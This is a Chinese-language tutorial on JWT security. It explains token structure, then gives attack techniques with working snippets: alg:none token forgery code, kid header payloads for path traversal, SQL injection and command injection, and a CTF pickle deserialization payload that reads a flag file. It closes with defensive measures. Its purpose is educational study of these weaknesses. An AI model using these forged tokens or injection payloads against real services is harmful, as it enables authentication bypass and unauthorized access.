JWT攻击学习
字数 1481 2025-08-05 19:10:07

JSON Web Token (JWT) 攻击学习指南

JWT 概述

JSON Web Token (JWT) 是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范,经常用在跨域身份验证。

与 Cookie/Session 的区别

  1. Cookie:加密措施不当容易造成信息泄露或伪造
  2. Session:服务端存储会话信息,客户端量增加时服务器压力大
  3. JWT:服务器不保存会话数据,验证通过后返回带签名的JSON对象给客户端存储

JWT 构成

JWT由三部分组成,格式为:header.payload.signature

1. Header (头部)

包含两部分信息:

  • 声明类型 (typ): 通常是"JWT"
  • 声明加密算法 (alg): 如HS256、RS256等

示例:

{
  "typ": "JWT",
  "alg": "HS256"
}

2. Payload (载荷)

存放有效信息,包含三类声明:

  1. 标准中注册的声明

    • iss: jwt签发者
    • sub: jwt所面向的用户
    • aud: 接收jwt的一方
    • exp: jwt过期时间
    • nbf: 定义在什么时间之前不可用
    • iat: jwt签发时间
    • jti: jwt唯一身份标识
  2. 公共的声明:可添加任何信息,但不建议敏感信息

  3. 私有的声明:提供者和消费者共同定义的声明

示例:

{
  "sub": "1234567890",
  "name": "purplet",
  "admin": true,
  "secretid": 1
}

3. Signature (签名)

由三部分组成:

  1. base64编码后的header
  2. base64编码后的payload
  3. secret (密钥)

生成方式:

var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret');

JWT 攻击方法

1. 签名无效攻击

原理:服务端未校验token签名,攻击者可修改payload内容生成新token绕过验证

利用:直接修改payload内容,生成新token

2. 空加密算法攻击

原理:JWT支持使用空加密算法(alg: none),将secret置空

利用

import jwt
token = jwt.encode(
  {"user": "admin"},
  algorithm="none",
  key=""
).decode(encoding='utf-8')
print(token)

3. 修改算法RS256为HS256

原理

  • RS256: 非对称加密,使用私钥签名,公钥验证
  • HS256: 对称加密,使用密钥签名和验证
  • 攻击者将算法改为HS256,使用获取的公钥作为密钥伪造签名

4. 爆破密钥

前提条件

  1. 知悉JWT使用的加密算法
  2. 一段有效的、已签名的token
  3. 签名用的密钥不复杂(弱密钥)

工具:c-jwt-cracker

5. 修改KID参数攻击

原理kid(key ID)用于指定加密算法的密钥,可被利用进行多种攻击

攻击方式

  • 目录遍历:
{
  "alg": "HS256",
  "typ": "jwt",
  "kid": "/etc/passwd"
}
  • SQL注入:
{
  "alg": "HS256",
  "typ": "jwt",
  "kid": "aaaaaaa' UNION SELECT 'key';-- "
}
  • 命令执行:
{
  "alg": "HS256",
  "typ": "jwt",
  "kid": "/path/to/key_file|whoami"
}

6. 修改JKU/X5U参数攻击

原理

  • jku(JWKSet URL): 指定一组加密token密钥的URL
  • x5u: 用于验证Token的公钥证书或证书链
  • 若未严格过滤,攻击者可指定恶意密钥文件

7. 信息泄露

原理:直接base64解码payload部分获取敏感信息

实战案例

案例1: easy_login

  1. 发现secretid为空数组时可绕过验证
  2. 构造admin用户的token:
import jwt
token = jwt.encode(
  {"secretid":[],
   "username":"admin",
   "password":"888"},
  algorithm="none",
  key=""
).decode('utf-8')
print(token)

输出:eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6Ijg4OCJ9.

案例2: ikun

  1. 发现JWT长度较短,使用工具爆破密钥
  2. 利用Python反序列化漏洞:
import pickle
import urllib.parse

class payload(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload(),protocol=0)
a = urllib.parse.quote(a)
print(a)

防御措施

  1. 始终验证JWT签名
  2. 禁用none算法
  3. 使用强密钥并定期更换
  4. 严格过滤kidjkux5u等参数
  5. 限制JWT的有效期
  6. 避免在payload中存储敏感信息
JSON Web Token (JWT) 攻击学习指南 JWT 概述 JSON Web Token (JWT) 是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范,经常用在跨域身份验证。 与 Cookie/Session 的区别 Cookie :加密措施不当容易造成信息泄露或伪造 Session :服务端存储会话信息,客户端量增加时服务器压力大 JWT :服务器不保存会话数据,验证通过后返回带签名的JSON对象给客户端存储 JWT 构成 JWT由三部分组成,格式为: header.payload.signature 1. Header (头部) 包含两部分信息: 声明类型 ( typ ): 通常是"JWT" 声明加密算法 ( alg ): 如HS256、RS256等 示例: 2. Payload (载荷) 存放有效信息,包含三类声明: 标准中注册的声明 : iss : jwt签发者 sub : jwt所面向的用户 aud : 接收jwt的一方 exp : jwt过期时间 nbf : 定义在什么时间之前不可用 iat : jwt签发时间 jti : jwt唯一身份标识 公共的声明 :可添加任何信息,但不建议敏感信息 私有的声明 :提供者和消费者共同定义的声明 示例: 3. Signature (签名) 由三部分组成: base64编码后的header base64编码后的payload secret (密钥) 生成方式: JWT 攻击方法 1. 签名无效攻击 原理 :服务端未校验token签名,攻击者可修改payload内容生成新token绕过验证 利用 :直接修改payload内容,生成新token 2. 空加密算法攻击 原理 :JWT支持使用空加密算法( alg: none ),将secret置空 利用 : 3. 修改算法RS256为HS256 原理 : RS256: 非对称加密,使用私钥签名,公钥验证 HS256: 对称加密,使用密钥签名和验证 攻击者将算法改为HS256,使用获取的公钥作为密钥伪造签名 4. 爆破密钥 前提条件 : 知悉JWT使用的加密算法 一段有效的、已签名的token 签名用的密钥不复杂(弱密钥) 工具 :c-jwt-cracker 5. 修改KID参数攻击 原理 : kid (key ID)用于指定加密算法的密钥,可被利用进行多种攻击 攻击方式 : 目录遍历: SQL注入: 命令执行: 6. 修改JKU/X5U参数攻击 原理 : jku (JWKSet URL): 指定一组加密token密钥的URL x5u : 用于验证Token的公钥证书或证书链 若未严格过滤,攻击者可指定恶意密钥文件 7. 信息泄露 原理 :直接base64解码payload部分获取敏感信息 实战案例 案例1: easy_ login 发现secretid为空数组时可绕过验证 构造admin用户的token: 输出: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6Ijg4OCJ9. 案例2: ikun 发现JWT长度较短,使用工具爆破密钥 利用Python反序列化漏洞: 防御措施 始终验证JWT签名 禁用 none 算法 使用强密钥并定期更换 严格过滤 kid 、 jku 、 x5u 等参数 限制JWT的有效期 避免在payload中存储敏感信息